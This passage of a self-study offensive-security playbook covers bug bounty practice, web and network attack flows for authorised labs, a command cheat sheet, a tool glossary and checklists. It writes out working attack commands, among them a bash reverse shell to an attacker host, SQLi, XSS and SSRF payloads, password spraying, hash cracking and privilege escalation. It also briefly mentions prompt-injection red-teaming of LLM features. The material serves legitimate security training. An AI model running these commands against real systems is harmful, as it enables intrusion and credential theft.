Start these as soon as Stage 4 is done and keep them going.

15 Bug bounty and responsible disclosure

Real targets, real reports, and public proof of skill.

LEARN

- How programmes work: scope, out-of-scope, safe harbour, severity, duplicates, payouts.

- The difference between a bug bounty programme and a vulnerability disclosure programme (VDP).
- Recon: subdomains, live hosts, technologies, old endpoints, JavaScript files.
- Writing a report a triager can reproduce quickly: title, impact, steps, proof, fix.
- Coordinated disclosure, and how CERT-In handles reports in India.

DO

- [ ] Read twenty disclosed reports on HackerOne Hacktivity for the bug classes you know best. Note the pattern in each.
- [ ] Create profiles on HackerOne, Bugcrowd, Intigriti and YesWeHack.
- [ ] Pick one programme with a wide scope and a stack you know (Next.js, Supabase, Firebase). Stay on it; do not hop between targets.
- [ ] Read the scope page twice before sending a single request, and keep your request rate low.
- [ ] Build a recon pipeline from your Stage 6 tools plus `subfinder`, `httpx` and `nuclei`.
- [ ] Read the target's JavaScript bundles for API routes and hidden parameters. This is where your developer background pays.
- [ ] Hunt access-control and business-logic bugs first. Scanners cannot find them, so they are less often duplicates.
- [ ] Submit your first report, even a low-severity one, to learn the process.
- [ ] Play one CTF with a team (picoCTF or any event listed on CTFtime) and solve the web challenges.

```
subfinder -d example.com -silent | httpx -silent -title -tech-detect -status-code
nuclei -l live-hosts.txt -severity medium,high,critical -rate-limit 20
```

> **Keep going until:** you have one valid, accepted report on any platform. After that it is a habit, not a stage.

16 Portfolio, roles and certifications

Turning the work into something an employer can see.

DO: PORTFOLIO

- [ ] Add a "Security" section to your portfolio site next to the existing case studies.
- [ ] Publish "Security review of CloseBy": threat model, findings, fixes, tests.
- [ ] Publish "Red-teaming my own LLM gateway": attacks tried, what got through, what you changed.
- [ ] Publish the Stage 6 tools on GitHub with a clear README for each.
- [ ] Publish lab walkthroughs for retired machines and solved challenges only (never for live ones).
- [ ] Link your PortSwigger, TryHackMe and Hack The Box profiles.

DO: RESUME

- [ ] Add a **Security** line to Technical Skills: Burp Suite, OWASP ZAP, nmap, Semgrep, CodeQL, promptfoo, threat modelling, OWASP Top 10 (Web, API, LLM).
- [ ] Rewrite one bullet per project to lead with the security outcome, for example the Razorpay signature and replay protection, or the injection defence and its eval cases.
- [ ] Add a new title option: "Full-Stack & Application Security Engineer" or "AI Security Engineer", backed by the write-ups above.

- [ ] Add any accepted bug bounty report or CVE as an achievement.

CERTIFICATIONS (OPTIONAL; SKILLS AND WRITE-UPS MATTER MORE)

CERTIFICATION	WHAT IT PROVES	WHEN IT HELPS
Burp Suite Certified Practitioner (PortSwigger)	Hands-on web exploitation. Matches Stage 4 directly.	Best first choice for web and AppSec roles.
APIsec University certificates	API security knowledge. Free.	Easy early proof after Stage 5.
eJPT (INE)	Entry-level practical pentesting.	After Stage 12, for pentest roles.
CompTIA Security+	Broad theory, multiple choice.	When a job listing filters on it.
PNPT (TCM Security)	Practical network pentest with a report.	Mid step towards OSCP.
OSCP (OffSec)	Well-known practical pentest exam.	Later, for dedicated pentest careers. Expensive.

INTERVIEW READINESS

- [ ] Explain the OWASP Top 10 with one example each from your own apps.
- [ ] Walk through a bug you found: discovery, proof, impact, fix.
- [ ] Threat-model an unfamiliar system on a whiteboard in fifteen minutes.
- [ ] Review a 50-line Express or Next.js snippet and find the flaws.
- [ ] Explain prompt injection and why it cannot be fully solved with a better prompt.

Field manual · web attack flow

This is the real order of a web engagement: the same steps a bug bounty hunter or AppSec tester follows on a target they are allowed to test. Run it against Juice Shop, your own apps, or a program in scope. Each phase says what you are looking for and the command that gets it.

> **Scope first, every time.** Confirm in writing that the target is yours or in a program's scope before a single request. Keep the request rate low, use test accounts, and log what you send. Everything below assumes you already have that permission.

1 · Map the target (recon)

Before attacking anything, learn what exists: subdomains, live hosts, technologies, and every page and parameter. Most bugs live in the forgotten corners this phase finds.

```
subfinder -d target.com -silent | httpx -silent -title -tech-detect -sc -o live.txt   # subdomains → alive + tech
cat live.txt | waybackurls | grep -E '\?|=|\.js' | sort -u > urls.txt                  # old URLs with params from the Wayback Machine
katana -u https://target.com -jc -o crawl.txt                                         # crawl the live app, follow JS
ffuf -u https://target.com/FUZZ -w SecLists/Discovery/Web-Content/raft-medium-directories.txt -mc all -fc 404
nuclei -l live.txt -severity low,medium,high,critical -rl 20 -o nuclei.txt            # known CVEs & misconfigs, rate-limited
```

- [ ] Read every JavaScript bundle for hidden API routes, parameter names and keys. Your developer background is the edge here: you know where front-end devs leak endpoints.
- [ ] Build a table of every endpoint: method, parameters, who should be allowed, what it changes.

2 · Authentication and session

Try to become someone, then try to become someone else. Test the login, reset, and token logic, not just the happy path.

```
ffuf -u https://target/login -w creds.txt -X POST -d 'user=admin&pass=FUZZ' -H 'Content-Type: application/x-www-form-urlencoded' -mc 200 -fr 'invalid'   # password spray in a lab
hashcat -m 16500 jwt.txt SecLists/Passwords/rockyou.txt            # crack a weak HS256 JWT secret
```

- [ ] Decode the session token. If it is a JWT, test the `alg: none` trick, a weak secret, and swapping `kid`.
- [ ] Change your role claim or user ID in the token and replay. Register two accounts and see whether one can act as the other.
- [ ] Test password reset: can you request a token for another user, reuse a token, or guess it? Does the reset link leak in the `Referer` header?

3 · Access control (the highest-value class)

Broken access control is the most common serious bug and scanners cannot find it. Take every action you can do as user A and try it as user B, and as a logged-out user.

```
# Same request, two sessions. Anything A's data returns to B is an IDOR.
for id in $(seq 1 50); do
  code=$(curl -s -o /dev/null -w '%{http_code}' "https://target/api/orders/$id" -H "Cookie: $USER_B")
  echo "$id -> $code"
done
```

- [ ] Swap numeric and UUID IDs in URLs, bodies, and JSON. Try your own ID, then increment, then another user's.
- [ ] Call admin-only and owner-only endpoints as a normal user (function-level / BFLA).

- [ ] Remove the session cookie entirely and replay a protected request. Change `GET` to `POST` and back.

4 · Injection and input handling

Find every place your input is reflected, stored, or reaches a query, template, or command. Prove it by hand before reaching for a scanner.

```
' OR 1=1--                              # classic SQLi probe; watch for a changed response
sqlmap -u "https://target/item?id=1" --batch --risk=2 --level=3 --dbs   # only after a manual probe looks positive
<img src=x onerror=alert(document.domain)>   # XSS probe; test reflected, stored, and DOM sinks
http://169.254.169.254/latest/meta-data/   # SSRF payload: can the server be made to fetch this?
```

- [ ] For each parameter: inject a quote, a tag, a template expression `${7*7}`, and a `../` path, and watch the response and timing.
- [ ] For SQLi, confirm with a time-based payload (`SLEEP(5)`) when the response does not change visibly.
- [ ] For SSRF, point the fetch at a listener you control (`nc` or an Interactsh/Burp Collaborator URL) and confirm the callback.

5 · Business logic and race conditions

- [ ] Tamper with price, quantity, currency, and discount in the request; the server must recompute from its own data.
- [ ] Replay webhooks and payment callbacks; forge the signature and confirm it is rejected.
- [ ] Fire the same state-changing request many times at once (Burp's single-packet attack, or your Node race tester) to beat a stock hold, a coupon limit, or a one-time action.

6 · Prove it and report it

A finding is only real with a working proof. For every bug write: title, affected endpoint, the exact request, impact in business terms, reproduction steps, and the one-line code fix. That report is the deliverable employers and programs pay for.

Field manual · network attack flow

For lab machines (Hack The Box, TryHackMe) and systems you are authorised to test. This is the loop you repeat until you reach the goal: **recon → enumerate → exploit → escalate → pivot → loot → report**.

> **Lab targets only.** Reverse shells, exploitation, and privilege escalation against a machine you do not own or have no written permission to test are a crime. Keep all of this inside the practice platforms and your own VMs.

1 · Scan and enumerate

Find open ports, then fingerprint each service deeply. Time spent enumerating is what separates a root from a stuck box.

```
nmap -p- --min-rate 2000 -oN all.txt $IP          # every TCP port, fast
nmap -sC -sV -p 22,80,445 -oN deep.txt $IP        # scripts + versions on the open ones
nmap -sU --top-ports 20 $IP                       # don't forget UDP (SNMP, DNS, TFTP)
enum4linux-ng -A $IP                              # SMB: shares, users, policies
feroxbuster -u http://$IP -w SecLists/Discovery/Web-Content/common.txt   # web content if 80/443 is open
```

- [ ] For each open port, ask: what service, what version, is there a known exploit, is there a default or weak credential, is there an anonymous/guest login?
- [ ] Enumerate SMB (445), FTP (21), SSH (22), SNMP (161), and any database port before touching an exploit.

2 · Get a foothold

A foothold is the first shell. It comes from a vulnerable service, a weak credential, or a web bug that lets you run a command.

```
searchsploit apache 2.4.49                        # find a public exploit for the version you found
hydra -l admin -P rockyou.txt ssh://$IP           # credential attack on a lab service

# Catch a reverse shell: listener first...
nc -lvnp 4444
# ...then trigger this from the target (via the bug you found), then stabilise it:
bash -i >& /dev/tcp/$LHOST/4444 0>&1
python3 -c 'import pty;pty.spawn("/bin/bash")'    # upgrade a dumb shell to a real one
```

3 · Escalate privileges

You land as a low user and want root or SYSTEM. Run an enumeration script, then check the handful of things that give 90% of wins.

```
./linpeas.sh | tee linpeas.txt                    # automated, then read it yourself
sudo -l                                           # what can I run as root without a password?
find / -perm -4000 -type f 2>/dev/null            # SUID binaries → check each on GTFOBins
getcap -r / 2>/dev/null                           # Linux capabilities
crontab -l; cat /etc/crontab                      # writable scripts run as root?
```

- [ ] Linux: check `sudo -l`, SUID binaries, writable cron jobs, capabilities, world-writable service files, and credentials in config and history files. GTFOBins tells you how to abuse each.
- [ ] Windows: check service permissions, unquoted service paths, AlwaysInstallElevated, token privileges, and stored credentials. WinPEAS surfaces these.

4 · Pivot, loot and report

- [ ] Once you own a host, enumerate the internal network it can reach and tunnel through it (`chisel`, SSH `-L` / `-D`) to attack machines you could not see before.
- [ ] In an Active Directory lab, collect data with BloodHound and follow the shortest path to Domain Admin; practise Kerberoasting and pass-the-hash on the retired boxes that teach them.

- [ ] Loot credentials, hashes, keys, and config to feed the next host, then write a walkthrough: how you got in, how you escalated, and the single fix that would have stopped you at each step.

> **The whole loop in one line:** enumerate everything, exploit the weakest service, become root, read the next secret, repeat. The command list on the next page is this loop compressed.

Command cheat sheet

All commands are for your lab and your own apps. Replace the placeholders.

JOB	COMMAND
See a raw response	`curl -i https://site/path`
Send JSON with a cookie	`curl -s -X POST https://site/api/x -H "Content-Type: application/json" -H "Cookie: $C" -d '{"id":1}'`
Send through Burp	`curl -x http://127.0.0.1:8080 -k https://site/`
Port and service scan	`nmap -sC -sV -oN scan.txt <ip>`
All TCP ports	`nmap -p- --min-rate 1000 <ip>`
Find hidden paths	`ffuf -u http://host/FUZZ -w wordlist.txt -mc 200,301,302,401,403`
Find subdomains	`subfinder -d example.com -silent`
Check which hosts are alive	`httpx -l hosts.txt -silent -status-code -title`
Template scan	`nuclei -u http://localhost:3000`
SQL injection (lab)	`sqlmap -u "http://lab/item?id=1" --batch --dbs`
DNS records	`dig +short A example.com` · `dig TXT example.com`
TLS certificate	`openssl s_client -connect host:443 -servername host`
Listener	`nc -lvnp 4444`
Capture traffic	`sudo tcpdump -i any -n port 3000 -w cap.pcap`
SUID files	`find / -perm -4000 -type f 2>/dev/null`
Reverse shell (lab)	`bash -i >& /dev/tcp/<ip>/4444 0>&1`
Stabilise a shell	`python3 -c 'import pty;pty.spawn("/bin/bash")'`
What can I sudo	`sudo -l`
Find a public exploit	`searchsploit <product> <version>`
Credential attack (lab)	`hydra -l <user> -P rockyou.txt ssh://<ip>`
Old URLs from Wayback	`echo target.com | waybackurls | sort -u`
Crack hashes	`hashcat -m 0 hashes.txt rockyou.txt` · `john --wordlist=rockyou.txt hashes.txt`
Code scan	`semgrep scan --config auto .`
Dependency scan	`npm audit --omit=dev` · `osv-scanner scan -r .`
Secret scan	`gitleaks detect --source . -v`
Image and config scan	`trivy image <name>` · `trivy config .`
LLM red team	`npx promptfoo@latest redteam run`
Decompile an APK	`jadx -d out/ app.apk`
Top IPs in a log	`awk '{print $1}' access.log | sort | uniq -c | sort -rn | head`
Filter JSON logs	`jq 'select(.status >= 400) | {ip, path, status}' app.log`

What each tool is, and how you use it

Every tool named in this playbook, in plain words: what it is, and what you reach for it to do. When you meet a tool in a stage, come back here. Install most of them with your package manager or from the project's GitHub release; the practice platforms in the next section run in the browser.

Intercept and explore web traffic

TOOL	WHAT IT IS	YOU USE IT TO
Burp Suite	A proxy that sits between your browser and the site, so you see and edit every request.	Capture traffic, resend an edited request (Repeater), and automate attacks (Intruder). Your main web tool.
OWASP ZAP	A free, open-source alternative to Burp with an automated scanner.	Run a baseline scan of an app and compare its findings with what you found by hand.
curl	A command-line program that sends one HTTP request and prints the reply.	Replay a request from the terminal, add a cookie or header, script a test in Bash.
browser DevTools	The inspector built into Chrome and Firefox.	Read the DOM, network tab, cookies, and JavaScript the site ships.
CyberChef	A browser app for encoding, decoding, and decrypting data.	Peel apart Base64, URL, hex, and layered encodings without writing code.

Find what exists (recon and discovery)

TOOL	WHAT IT IS	YOU USE IT TO
nmap	A port and service scanner.	See which ports are open on a host and what software and version answers on each.
subfinder	A subdomain finder.	Discover `api.`, `staging.`, and other hostnames of a target you are allowed to test.
httpx	A fast HTTP prober.	Take a list of hosts and report which are alive, their title, status code, and technology.
katana / waybackurls	A crawler, and a tool that pulls old URLs from the Wayback Machine.	Build a full list of pages and parameters, including forgotten ones.
ffuf / feroxbuster	Content and parameter fuzzers (they try words from a list very fast).	Find hidden directories, files, API routes, and parameters.
nuclei	A scanner driven by YAML templates for known issues.	Check a target for known CVEs and misconfigurations quickly.
dig	A DNS lookup tool.	Read a domain's records (A, MX, TXT, NS) and understand its setup.
SecLists	A large collection of wordlists.	Feed passwords, directory names, and payloads to the fuzzers and crackers above.

See the raw network

TOOL	WHAT IT IS	YOU USE IT TO
Wireshark	A graphical packet capture and analysis tool.	Watch a real TCP handshake and follow a conversation packet by packet.
tcpdump	A command-line packet capturer.	Record traffic on a server to a file you open later in Wireshark.

netcat (nc)	A tiny tool that reads and writes raw network connections.	Open a listener, test a port by hand, catch a reverse shell in a lab.
openssl	The command-line toolkit for TLS and crypto.	Read a site's certificate chain and test its TLS setup.

Prove and exploit (lab and authorised targets only)

TOOL	WHAT IT IS	YOU USE IT TO
sqlmap	An automated SQL-injection tool.	Confirm and exploit a SQLi you first found by hand. Never your first move.
Metasploit	A framework of ready-made exploits and payloads.	Exploit a known-vulnerable service on a lab machine, then learn to do it without the framework.
searchsploit	An offline search of the Exploit-DB database.	Find public exploit code for the exact software version you found.
hydra	A credential-guessing tool for login services.	Test weak passwords on a lab SSH, FTP, or web login (shows why rate limits matter).
hashcat / john	Password-hash crackers.	Crack practice hashes and weak JWT secrets, and feel why slow hashing (Argon2, bcrypt) matters.
enum4linux-ng	An SMB/Windows enumeration script.	List shares, users, and policies from a Windows or Samba host.

Escalate and move (lab machines)

TOOL	WHAT IT IS	YOU USE IT TO
LinPEAS / WinPEAS	Scripts that scan a machine you already landed on for privilege-escalation paths.	Spot weak permissions, SUID files, and stored secrets; then verify each by hand.
GTFOBins / LOLBAS	Reference sites, not installed tools.	Look up how a normal binary can be abused to get a shell or read a file as root.
chisel	A tunnelling tool.	Reach an internal network through a host you already control (pivoting).
BloodHound	A tool that maps Active Directory relationships.	Find the shortest path from a normal user to Domain Admin in an AD lab.

Review and harden code (DevSecOps and crypto)

TOOL	WHAT IT IS	YOU USE IT TO
Semgrep	A fast source-code scanner driven by simple rules.	Find risky patterns in your own code, and write custom rules for your mistakes.
CodeQL	GitHub's deeper code-analysis engine.	Query your code for whole classes of bug and run it in CI.
Gitleaks	A secret scanner.	Find API keys and passwords committed anywhere in your Git history.
npm audit / osv-scanner	Dependency vulnerability scanners.	List known-vulnerable packages, then judge whether the bad code is actually reachable.
Trivy	A scanner for images, files, and config.	Check a Docker image or config file for vulnerabilities and bad settings.
Node `crypto`	Node's built-in cryptography module.	Hash, HMAC, encrypt, and sign — and re-implement webhook verification yourself.

AI, mobile, scripting and defence

TOOL	WHAT IT IS	YOU USE IT TO
promptfoo	An open-source LLM testing and red-team tool that runs on Node.	Fire automated prompt-injection and jailbreak attacks at your own AI features.
Lakera Gandalf	A free browser game.	Learn prompt injection hands-on, level by level.
jadx / apktool	APK decompilers and unpackers.	Read the code and manifest inside your own Android builds, hunt for leaked keys.
MobSF	A mobile app security scanner.	Get an automated report on an APK's permissions, secrets, and weak storage.
Frida	An instrumentation tool whose hooks are written in JavaScript.	Inspect and change a running app's functions at runtime.
Playwright	A browser-automation library in TypeScript.	Script logins and multi-step flows, and feed cookies to your other tools.
Wazuh	An open-source SIEM (security monitoring platform).	Collect logs, attack your own lab, and find your own attack in the alerts.

Where to practise

PLATFORM	COST	USE IT FOR
PortSwigger Web Security Academy	Free	The best web security course anywhere. Stages 3, 4, 5, 8, 10.
OWASP Juice Shop	Free, local	Vulnerable Node and TypeScript app. Stages 0 to 6.
OWASP NodeGoat	Free, local	OWASP Top 10 in Express code. Stage 4.
OWASP crAPI	Free, local	Vulnerable API. Stage 5.
OverTheWire (Bandit, Natas)	Free	Linux command line, then web basics. Stage 1.
TryHackMe	Freemium	Guided rooms and paths. Stages 1, 2, 12, 13.
Hack The Box and HTB Academy	Freemium	Harder machines, structured modules. Stage 12.
APIsec University	Free	API security courses and certificates. Stage 5.
Lakera Gandalf	Free	Prompt-injection game. Stage 8.
flaws.cloud, flaws2.cloud	Free	AWS misconfiguration challenges. Stage 11.
picoCTF, CTFtime	Free	Beginner CTF and an events calendar. Stage 15.
CyberDefenders, Blue Team Labs Online, LetsDefend	Freemium	Defensive investigations. Stage 13.
HackerOne, Bugcrowd, Intigriti, YesWeHack	Free	Bug bounty programmes and disclosed reports. Stage 15.

Read alongside the practice

- **OWASP**: Top 10, API Security Top 10, Top 10 for LLM Applications, Web Security Testing Guide, Cheat Sheet Series, MASTG.
- **MITRE**: ATT&CK for attacker techniques, ATLAS for attacks on AI systems, CWE for weakness names.
- **Books**: *The Web Application Hacker's Handbook* (Stuttard and Pinto), *Bug Bounty Bootcamp* (Vickie Li), *Hacking APIs* (Corey Ball), *Real-World Bug Hunting* (Peter Yaworski), *The Linux Command Line* (William Shotts).

- **Official docs for your own stack**: the security pages of Next.js, Supabase (RLS), Clerk, Razorpay (webhooks) and Chrome Extensions. Read these before testing each one in Stage 7.

Master checklist

One line per milestone. Tick it only when you can do it again without notes.

PART A · FOUNDATIONS

- [ ] Lab running: Docker, Kali VM, Burp, ZAP, Juice Shop
- [ ] OverTheWire Bandit finished
- [ ] Two Bash scripts written from memory
- [ ] Scanned own lab with nmap and explained every port
- [ ] Read a TCP handshake and TLS hello in Wireshark
- [ ] Reproduced an app action by hand in Burp Repeater
- [ ] Decoded a JWT by hand

PART B · ATTACK SKILLS

- [ ] All PortSwigger Apprentice labs solved
- [ ] Half of PortSwigger Practitioner labs solved
- [ ] Juice Shop solved up to three stars
- [ ] NodeGoat tutorial finished
- [ ] crAPI challenges finished
- [ ] API map and authorization tests for CloseBy
- [ ] Port scanner, brute-forcer and header checker in Node
- [ ] IDOR tester and race-condition tester in Node
- [ ] One Nuclei template and one Bash recon script

PART C · YOUR EDGE

- [ ] Every Server Action checked for auth, role and ownership
- [ ] RLS tested on every table with the anon key and a second user
- [ ] Razorpay webhook forgery and replay tested
- [ ] Price, quantity and order-state tampering tested
- [ ] ScanCart permissions minimised and messaging reviewed
- [ ] CloseBy threat model and findings report written
- [ ] Gandalf and PortSwigger LLM labs finished
- [ ] promptfoo red-team suite running on one helper
- [ ] Indirect injection tested on ScanCart agents
- [ ] Semgrep, CodeQL, dependency and secret scans in CI
- [ ] Two custom Semgrep rules written
- [ ] Webhook HMAC re-implemented with Node crypto

PART D · THE WIDER FIELD

- [ ] flaws.cloud and flaws2.cloud finished
- [ ] Secrets inventory written and one key rotated
- [ ] Ten easy lab machines rooted with walkthroughs
- [ ] One Active Directory lab finished
- [ ] Own attack found in Wazuh alerts and raw logs
- [ ] Security logging and one alert added to CloseBy
- [ ] Incident runbook written
- [ ] Own APKs decompiled and reviewed

PART E · THE REAL WORLD

- [ ] Twenty disclosed reports read and summarised
- [ ] One programme chosen and its scope studied
- [ ] First report submitted
- [ ] First report accepted
- [ ] One CTF played with a team
- [ ] Security section live on the portfolio
- [ ] Two security case studies published
- [ ] Resume updated with a Security skills line
- [ ] One certification passed (optional)

> **One last rule.** Tools, versions and lab names change. If a command in this guide fails, read the tool's `--help` and its official docs before anything else. Being able to do that calmly is the real skill this whole path teaches.